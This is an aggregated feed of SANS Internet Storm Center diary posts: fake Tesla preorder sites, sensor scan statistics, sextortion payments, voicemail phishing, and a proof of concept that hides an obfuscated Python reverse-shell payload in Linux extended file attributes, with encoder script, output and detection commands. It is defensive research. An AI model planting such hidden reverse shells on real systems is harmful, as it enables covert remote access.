(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

from SANS Internet Storm Center, InfoCON: green https://ift.tt/wtOWN8H
via IFTTT

In recent media events, Tesla has demoed progressively more sophisticated versions of its Optimus robots. The sales pitch is pretty simple: "Current AI" is fun, but what we really need is not something to create more funny kitten pictures. We need AI to load and empty dishwashers, fold laundry, and mow lawns. But the robot has not been for sale yet, and there is no firm release date.

In the past, Tesla has accepted preorders for future products, asking for a deposit, which in some cases was even refundable. But aside from an April Fool's posting announcing such a presale, as far as I can tell, no presale has been offered by Tesla.

However, if you search for "Optimus Tesla preorder" and other similar terms, sites claiming to offer Optimus preorders will be advertised. 

These are sponsored listings. The official Tesla site (without the preorder option) shows below these fake links.

We have often seen sponsored listings like this used to advertise malware. But in this case, I suspect, the goal is simply to steal money from people willing to pay for preorders. The interesting twist is that the theft may remain unnoticed until the customer expects delivery, which may be months or years from now.

So far, I have seen these ads lead to three different websites:

• offers-tesla.com (currently active)
• exclusive-tesla.com (now offline)
• prelaunch-tesla.com (now offline)

Other suspect domains:

• private-tesla.com (unreachable)
• corp-tesla.com (redirects to legitimate tesla.com site)
• www-tesla.com (unreachable)
• hyper-tesla.com (unreachable)
• auth.cp-tesla.com (used for account setup by fake site)

The sites display a complete copy of a slightly older design of the Tesla.com website. As far as I can tell, the design does not include a login page. Standard phishing does not appear to be the goal here. Not having a login page may make it easier to hide that no orders are being placed. Customers will not be able to use the fake site to check their order status.

It asks for a $250 non-refundable deposit, which aligns with what Tesla asked for in prior preorder events.

I tried to place an order with a test credit card number, and it was accepted, showing that the credit card was not charged (yet?). Next, I was directed to auth.cp-tesla.com to set up an account. I never received the e-mail confirmation, so I am not sure if my spam filters dropped it or if it is supposed to fail. The original Tesla site uses "auth.tesla.com" for authentication.

Setting up credit card processing for a fake site is likely too complicated, and I assume the site just collects the payment card data to later use the cards on other sites for fraudulent orders or just to resell the payment card data (are there still "Carder" forums? Have not looked at that in a while). So far, the fake sites have only been available for a few days before being shut down. I assume that Tesla monitors these sites and sends takedown requests as they find them.

Preorders are accepted not only for Optimus robots but also for other Tesla products. Interestingly, the data is sent to different sites, not just to the original site. One URL used is https://ift.tt/L5wjOts. There are a few open directory listings on offers-tesla.com (for example,/api and /js). File dates are from March and May 2025, which is likely around the time the Tesla site was copied. The fake site is hosted behind Cloudflare.

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Social Media Links: https://jbu.me

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

from SANS Internet Storm Center, InfoCON: green https://ift.tt/uaWwJbs
via IFTTT

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

from SANS Internet Storm Center, InfoCON: green https://ift.tt/LIEea2j
via IFTTT

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

from SANS Internet Storm Center, InfoCON: green https://ift.tt/6lWGJvH
via IFTTT

[This is a Guest Diary by Duncan Woosley, an ISC intern as part of the SANS.edu BACS program]

During the last three months I've had a DShield sensor online and collecting data from a deployment in AWS. This week I did some statistical analysis of the last three months of data and found surprising result. Of all the locations that scanned and attacked the DShield sensor, one location was a clear winner in terms of volume of traffic, accounting for over 65% of the total traffic sent to the sensor. To my surprise, that location was Panama!

Total DShield Sensor Traffic per Location

The top 10 locations were close to inline with common expectations, however, the traffic from Panama was greater than the total traffic from all the remaining locations combined!

Digging into the source of this anomaly, I filtered for traffic by day and found that there were massive spikes on just a few days in the last three months that accounted for most of the DShield sensor's captured volume.

Largest Single Days by volume from April 7th to July 7th

Each spike was found to be caused by traffic from a single IP each day, but the IP responsible for each spike was different. However, six of the top ten most active IPs were all from a single /24 subnet! The subnet 141.98.80.0/24 was the cause of 59.4% of total logs collected by the sensor. Moreover, nine of the top 10 IPs were from the same internet service provider (ISP) named "NForce Entertainment B.V."

Autonomous System Numbers (ASN) 43350 accounted for 71.6% of the total sensor logs! This ASN belonging to NForce Entertainment but NForce Entertainment appears to often lease out its IP space to other VPN and proxy providers like the Panama based Flyservers S.A. Flyservers is categorized as a "potentially very high fraud risk ISP" by Scamalytics and is likely the source of this activity.

Top ASNs by Total Traffic

Further research into this ISP found that the NForce Entertainment IP activity was often associated with phishing, malware, and scanning. As a Dutch ISP, they operate without strict regulatory oversight or pressure from their host nation to revoke threat actors’ use of their services.

Recommendations

Unfortunately, the solution for network defenders isn't as simple as blocking all traffic from NForce Entertainment. If your organization is in a position where no NForce Entertainment traffic is required for business, this may be an option, but the majority of organizations don’t allow sweeping IP blocking. Instead, I would recommend blocking only sensitive services and HTTP(S) endpoints that allow for logins. The following actions are recommended.

•    Flagging traffic from NForce Entertainment and particularly from ASN 43350.
•    Block access to Remote Desktop Protocol from the internet.
•    Monitor for SSH activity from ASN 43350 and configured SSH to use key based authentication.
•    Implement a Web Application Firewall (WAF) for all web applications and monitor activity originating from any sources for suspicious queries.
•    Create a WAF alert threshold for high traffic originating from a single source.

[1] https://ift.tt/T087ocX
[2] https://scamalytics.com
[3] https://owasp.org/www-community/Web_Application_Firewall
[4] https://ift.tt/oBITSkv

NOTE: ChatGTP was used for Spelling and grammar checks only
———–
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

from SANS Internet Storm Center, InfoCON: green https://ift.tt/iUotwnx
via IFTTT

Sextortion e-mails have been with us for quite a while, and these days, most security professionals tend to think of them more in terms of an “e-mail background noise” rather than as if they posed any serious threat. Given that their existence is reasonably well-known even among general public, this viewpoint would seem to be justified… But are sextortion messages really irrelevant as a threat at this point, and can we therefore safely omit this topic during security awareness trainings?

I thought that it might be worthwhile to try and find out, so I decided to go over sextortion messages that were delivered to my various spam traps and e-mail accounts during the past 12 months and see whether the cryptocurrency addresses mentioned in them actually received any payments.

In total, I collected 21 different e-mail messages that asked for payment to be sent to 15 distinct cryptocurrency addresses (13 of these were Bitcoin addresses and 2 were Litecoin addresses). For completeness’s sake, it should be noted that while most of the addresses were only seen in e-mails delivered during a single day, this wasn’t always the case, as one of the addresses was observed in messages sent out 32 days apart.

Admittedly, 15 addresses represent a rather small sample size, but it proved to be more than sufficient to give us the desired information about the continued effectiveness of sextortion…

In the sextortion messages, their senders were asking for payments of between $750 and $1,550, with average and median requested amounts being $1,203 and $1,250, respectively. While 6 of the 15 identified addresses didn’t receive any payments at all, the remaining 9 did – in total, incoming transactions to these addresses amounted to between $945 and $10,715, with average and median total amounts received being $1,836 and $1,028, respectively.

Although not all incoming payments to the addresses were necessarily connected  solely to sextortion, it seems highly probable that at least most of them were… Which suggests that even in 2025, sextortion is still a relevant threat, and a topic that warrants attention in security awareness programs.

———–
Jan Kopriva
LinkedIn
Nettles Consulting

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

from SANS Internet Storm Center, InfoCON: green https://ift.tt/MoIL1S3
via IFTTT

A interesting phishing attempt was reported by a contact. It started with a simple email that looked like a voice mail notification like many VoIP systems deliver when the call is missed. There was a WAV file attached to the mail[1].

Here is a transcript of the recording:

"Hi, this is xxxx from Veeam Software. I'm calling you today regarding … <not clear> … your backup license which has expired this month. Would you please give me a call to discuss about it?"

This was not targeted because the person who received the mail was not involved with Veeam (or any IT environment). Did you receive such emails recently or in the past?

[1] https://blog.rootshell.be/stuff/veeam-voicemsg.wav

Xavier Mertens (@xme)
Xamecosys
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

from SANS Internet Storm Center, InfoCON: green https://ift.tt/fE32WSv
via IFTTT

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

from SANS Internet Storm Center, InfoCON: green https://ift.tt/eam6F1B
via IFTTT

This week, it's SANSFIRE[1]! I'm attending the FOR577[2] training ("Linux Incident Response & Threat Hunting"). On day 2, we covered the different filesystems and how data is organized on disk. In the Linux ecosystem, most filesystems (ext3, ext4, xfs, …) support "extended file attributes", also called "xattr". It's a file system feature that enables users to add metadata to files. These data is not directly made available to the user and may contain anything related to the file (ex: the author's name, a brief description, …). You may roughly compare this feature to the Alternate Data Stream (ADS) available in the Windows NTFS filesystem.

How do you use it? On Ubuntu, there is a package "attr" that contains utilities for manipulating filesystem extended attributes:

remnux@remnux:~/malwarezoo/xattr$ setfattr -n user.note -v "Hello ISC!" sample.txt 
remnux@remnux:~/malwarezoo/xattr$ getfattr -d -n "user.note" sample.txt 
# file: sample.txt
user.note="Hello ISC!"

Note the first part of the extended attribute: "user", called the class. Currently, they are four classes defined: security, system, trusted and user.

When reviewing extended attributes in the class, an idea popped up amongst students: "What if we could use this storage space for malicious content?". Challenge accepted!

After the training, I wrote a proof-of-concept that uses extended file attributes to store malicious Python code (a simple reverse shell).

First step: Let's add extended attributes to files. To make the payload more stealthy, it will be:

• split across multiple files (in chunks of x bytes)
• XOR'd with a one-byte key
• Base64 encoded

For the demo, my payload is a Python one-liner that will open a connection to the Attacker's listener (127.0.0.1:4444) and spawn a shell. I used a simple picture as base file. Each picture will receive an extended attribute "payload".

Here is the script I wrote:

#!/bin/bash
# Encode a payload into extended attributes

# Simple payload
PAYLOAD='import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

CHUNK_SIZE=32
CHUNKS=()
i = 0
# Split the payload in chunks of 32 bytes
while [ $((i * CHUNK_SIZE)) -lt ${#PAYLOAD} ]; do
  CHUNK=${PAYLOAD:$((i * CHUNK_SIZE)):CHUNK_SIZE}
  CHUNKS+=("$CHUNK")
  ((i++))
done

# Encoding chunks and save extended attributes
echo "Payload:"
echo $PAYLOAD
echo
echo "Chunk count: ${#CHUNKS[@]}"
for idx in "${!CHUNKS[@]}"; do
  # Duplicate a simple picture
  cp isc.png picture-$idx.png
  # XOR + Base64 encoding with the key 0xFB
  echo -n ${CHUNKS[$idx]} \
    | python3 -c "import sys; sys.stdout.buffer.write(bytes([b ^ 0xFB for b in sys.stdin.buffer.read()]))" \
    | base64 -w0 > tmp && mv tmp "picture-$idx.b64"
  echo "CHUNK$((idx + 1)) = ${CHUNK[$idx]} ($(cat picture-$idx.b64))"
  # Save the payload
  setfattr -n user.payload -v "$(cat picture-$idx.b64)" picture-$idx.png
  rm picture-$idx.b64
done

Results:

remnux@remnux:~/malwarezoo/xattr$ ./encode-payload.sh 
Payload:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Chunk count: 7
chunk1 = import socket,subprocess,os;s=so (kpaLlImP24iUmJCej9eIjpmLiZSYnoiI15SIwIjGiJQ=)
chunk2 = cket.socket(socket.AF_INET,socke (mJCej9WIlJiQno/TiJSYkJ6P1bq9pLK1vq/XiJSYkJ4=)
chunk3 = t.SOCK_STREAM);s.connect(("127.0 (j9WotLiwpKivqb66ttLAiNWYlJWVnpiP09PZysnM1cs=)
chunk4 = .0.1",4444));os.dup2(s.fileno(), (1cvVytnXz8/Pz9LSwJSI1Z+Oi8nTiNWdkpeelZTT0tc=)
chunk5 = 0); os.dup2(s.fileno(),1); os.du (y9LA25SI1Z+Oi8nTiNWdkpeelZTT0tfK0sDblIjVn44=)
chunk6 = p2(s.fileno(),2);p=subprocess.ca (i8nTiNWdkpeelZTT0tfJ0sCLxoiOmYuJlJieiIjVmJo=)
chunk7 = ll(["/bin/sh","-i"]); (l5fToNnUmZKV1IiT2dfZ1pLZptLA)

Once your payload has been stored in extended attributes, another piece of code can be used to decode them later.

I wrote a proof-of-concept[3] in C that expect the list of files to process. For every file, the extended attribute "payload" will be extracted, Base64-decoded and XOR'd. All substrings are concatenated to rebuild the initial payload:

remnux@remnux:~/malwarezoo/xattr$ ./poc picture-0.png picture-1.png picture-2.png picture-3.png picture-4.png picture-5.png picture-6.png
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Finally, if you pass this output to a Python interpreter, you get a reverse shell:

As you can see, extended file attributes can be a very nice way to hide malicious content!

Of course, we are defenders, so the next question is how to scan a Linux system for files that have extended attributes? The getfattr command provides a "-R" option to recursively search for files:

remnux@remnux:~/malwarezoo$ getfattr -Rd -m- . | grep “^# file:” | cut -d “:” -f2
xattr/picture-2.png
xattr/picture-0.png
xattr/picture-5.png
xattr/picture-1.png
xattr/sample.txt
xattr/picture-3.png
xattr/picture-6.png
xattr/picture-4.png

If you scan your complete filesystem, you will see that this feature is intensively used by the operating system. A classic one is to store POSIX ACLs:

remnux@remnux:~/malwarezoo$ sudo getfattr -m- -d /var/log/journal
getfattr: Removing leading '/' from absolute path names
# file: var/log/journal
system.posix_acl_access=0sAgAAAAEABwD/////BAAFAP////8IAAUABAAAABAABQD/////IAAFAP////8=
system.posix_acl_default=0sAgAAAAEABwD/////BAAFAP////8IAAUABAAAABAABQD/////IAAFAP////8=

[1] https://www.sans.org/cyber-security-training-events/sansfire-2025/
[2] https://www.sans.org/cyber-security-courses/linux-threat-hunting-incident-response/
[3] https://github.com/xme/SANS-ISC/blob/master/xattr-poc.c

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

from SANS Internet Storm Center, InfoCON: green https://ift.tt/i40Iv7N
via IFTTT

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

from SANS Internet Storm Center, InfoCON: green https://ift.tt/YLS2Gsu
via IFTTT